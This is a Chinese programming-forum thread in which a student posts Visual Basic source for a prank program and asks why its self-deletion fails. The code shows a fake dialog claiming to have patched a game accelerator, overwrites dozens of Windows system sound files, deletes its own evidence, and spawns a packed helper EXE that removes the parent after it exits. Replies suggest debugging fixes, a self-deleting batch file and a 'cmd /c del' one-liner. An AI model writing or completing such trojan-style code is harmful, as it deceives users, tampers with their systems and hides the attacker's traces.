在程序结束运行后删除EXE文件，为何总是失败

[PeterBethlyFord]

各位大虾，请你们帮我看看如何解决下面这个问题？

本人最近写了一个程序，是用于整人的。
程序的整个设计流程如下：
首先，写一个擦屁股程序：
　　新建一个ＶＢ文档，删掉自动新建的Form，加入一个模块，写入以下代码：
Option Explicit
Private Declare Function CloseHandle Lib "KERNEL32" (ByVal hObject As Long) As Long
Private Declare Function WaitForSingleObject Lib "KERNEL32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function OpenProcess Lib "KERNEL32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Const SYNCHRONIZE = &H100000
Private Const INFINITE = &HFFFF
Dim Cmdline() As String, hProcess As Long

Sub Main()
'On Error Resume Next
Dim path As String
Cmdline = Split(Command(), " ") '第一个参数为母进程PID，第二个为母EXE路径
hProcess = OpenProcess(SYNCHRONIZE, True, CLng(Cmdline(0)))
path = CStr(Cmdline(1))

If hProcess <> 0 Then
WaitForSingleObject hProcess, INFINITE
CloseHandle hProcess
End If
'从此处开始，正戏上场，打完收工
Kill path
'想加什么擦屁股工作的还可以继续在这里加

End
End Sub
然后将此程序编译为exe，UPX3.03加壳，备用。

接下来，进入主程序的编写
　　新建一个ＶＢ文档，删掉自动新建的Form，添加一个资源文件，加入以下对象：一个.wav声音文件，一个exe文件（刚才编译出来的杀手程序）
　　然后，加入一个模块，写入以下代码：
Option Explicit '声明API函数*******
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Declare Function GetCurrentProcessId Lib "KERNEL32" () As Long
Private Declare Function CreateFile Lib "KERNEL32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function SetFileAttributes Lib "KERNEL32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function CloseHandle Lib "KERNEL32" (ByVal hObject As Long) As Long
Private Declare Function WriteFile Lib "KERNEL32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Long) As Long
Private Declare Function FlushFileBuffers Lib "KERNEL32" (ByVal hFile As Long) As Long
Private Declare Function CreateProcess Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Long, lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

Dim FSO As New FileSystemObject
Private Const FILE_FLAG_DELETE_ON_CLOSE = &H4000000

Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type



Sub Main()
InitCommonControls '系统风格控件*******

Dim temp() As Byte, path As String
temp = LoadResData(101, "WAVE")
Open "D:\Program Files\ding.wav" For Binary As #1
Put #1, 1, temp()
Close #1

MsgBox "恭喜您！" & vbCrLf & "您已经成功对迅游加速器的主程序进行了修补" & vbCrLf & vbCrLf & "从现在起，您可以直接连接到迅游的内部服务器，" & vbCrLf & "独享高性能加速效果了！" & vbCrLf & vbCrLf & "程序从此将默认直连到公司内部专用服务器，如果您想恢复原状，请重新安装迅游", vbInformation + vbOKOnly + vbDefaultButton1, "Inner Game Speeder"　　　　'整人之前的伪装提示框

path = "D:\Program Files\ding.wav"
FSO.CopyFile path, "C:\WINDOWS\Media\chimes.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\chord.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\ding.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\notify.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\recycle.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\ringin.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\ringout.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\start.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\tada.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 菜单命令.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 错误.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 打印结束.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\windows xp 弹出窗口已阻止.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 登录音.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 电池不足.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 电池电力严重短缺.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 电话拨出声.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 电话拨入声.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 叮当声.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 关机.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 关键性终止.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 还原.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 回收.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 惊叹号.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 开始.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 默认值.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 启动.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 气球.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 通知.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\windows xp 信息栏.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 硬件插入.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 硬件故障.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 硬件删除.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 注销音.wav", True
FSO.CopyFile path, "C:\WINDOWS\Media\Windows XP 最小化.wav", True

FSO.DeleteFile path, True '销毁一部分证据
temp = LoadResData(5007, "KILLSELF") '这里，注意了
Open "D:\Program Files\KillSelf.exe" For Binary As #2
Put #2, 1, temp()
Close #2 '已经释放出杀手程序

Dim fHandle As Long
fHandle = CreateFile("D:\Program Files\KillSelf.exe", &H40000000 Or &H80000000, &H1, ByVal 0&, 3, FILE_FLAG_DELETE_ON_CLOSE, 0) '让杀手程序自动删除

Dim ParaPath As String, i As Integer '这部分用来删除路径中不必要的"\"
ParaPath = App.path & "\" & App.EXEName & ".exe"
i = InStr(ParaPath, "\\")
If i > 0 Then
ParaPath = Left(ParaPath, i - 1) & "\" & Right(ParaPath, Len(ParaPath) - i - 1)
End If
Dim hProcess As Long
Dim si As STARTUPINFO
Dim pi As PROCESS_INFORMATION
Dim CommandLine As String
si.cb = Len(si)
si.lpReserved = vbNullString
si.lpDesktop = vbNullString
si.lpTitle = vbNullString
si.dwFlags = 0
hProcess = GetCurrentProcessId()
CommandLine = "D:\Program Files\KillSelf.exe " & hProcess & " " & ParaPath
CreateProcess vbNullString, CommandLine, 0, 0, True, 0, ByVal 0&, vbNullString, si, pi
'好像就是前面这个语句出了问题……

CloseHandle hProcess
CloseHandle fHandle '关闭所有文件句柄
End
End Sub

　　程序要实现的功能是：假装弹出一个消息框来迷惑用户，然后将系统效果音全部替换掉，最后删除程序本身。
　　从这里来看，上面的程序似乎没有问题，单步运行调试时发现，杀手程序的确也释放出来了，然而它就是不将母程序Kill掉。用process explorer观察发现，杀手程序根本没有执行……后来，我将母程序的PID和路径输入到开始菜单的运行框里去执行，这一次，杀手程序很顺利地将母程序Kill了。
　　现在，我的两个问题是：
　　1.我在程序中调用CreateProcess来执行杀手程序，为什么没有成功呢？这其中的问题出在哪里？（不要让我用Shell来执行杀手程序，我试过的，是不行的）
　　2.如何才能真正事先我所需的功能呢？

　　各位大虾畅所欲言，谢谢！

[PeterBethlyFord]

删掉那个EXE以后，调试发现，参数并没有问题，是正常的调用程序以及参数命令行。
hProcess参数我前面加了一个CLng（），进行了强制转换，还是没有什么效果

自己摸索了一下，发现"让杀手程序自动删除"那一段（也就是给子程序设置FILE_FLAG_DELETE_ON_CLOSE标记）的程序段中，有一句应该改为：fHandle = CreateFile("D:\Program Files\KillSelf.exe", 0, &H1, ByVal 0&, 3, FILE_FLAG_DELETE_ON_CLOSE, 0) 也就是把第二个参数改为0.

不过这样运行一下以后，发现还是无法完成所需功能。把CreateProcess那一句改为用Shell执行以后，删除母程序的功能倒是实现了，不过子程序并没有自动删除……用IceSword和Process Monitor监视进线程创建和中止的时间顺序，没有发现问题。

看来，还是要寄希望于CreateProcess这个API了……

高手们，帮帮忙，继续发言啊！小弟才大一，在此谢过了。

[一笑拔剑]

"D:\Program Files\KillSelf.exe " & " " & hProcess & " " & ParaPath
是这样吧
你这样

先删除掉KillSelf.exe
调试里看一下
到那里这个参数是什么？

hProcess不是string而是long

不知道需要不需要转换

[舉杯邀明月]

顶老马...............

有时简单的方法更有效...........

[嗷嗷叫的老马]

既然你要写个文件.......写个BAT总好过写个EXE吧.......

看看这个BAT删除自身大法:)

http://www.m5home.com/bbs/dispbbs.asp?boardid=28&id=2798&star=1&page=1

老是老了点,但老当益壮啊~~~哇哈哈.

[SYSSZ]

BAT对付此类问题最好.

[yangke1994]

Private Sub Command1_Click()
    Shell "cmd /c del [文件名]"
End Sub

[chenhui530]

我博客这样的文章就有简单稳定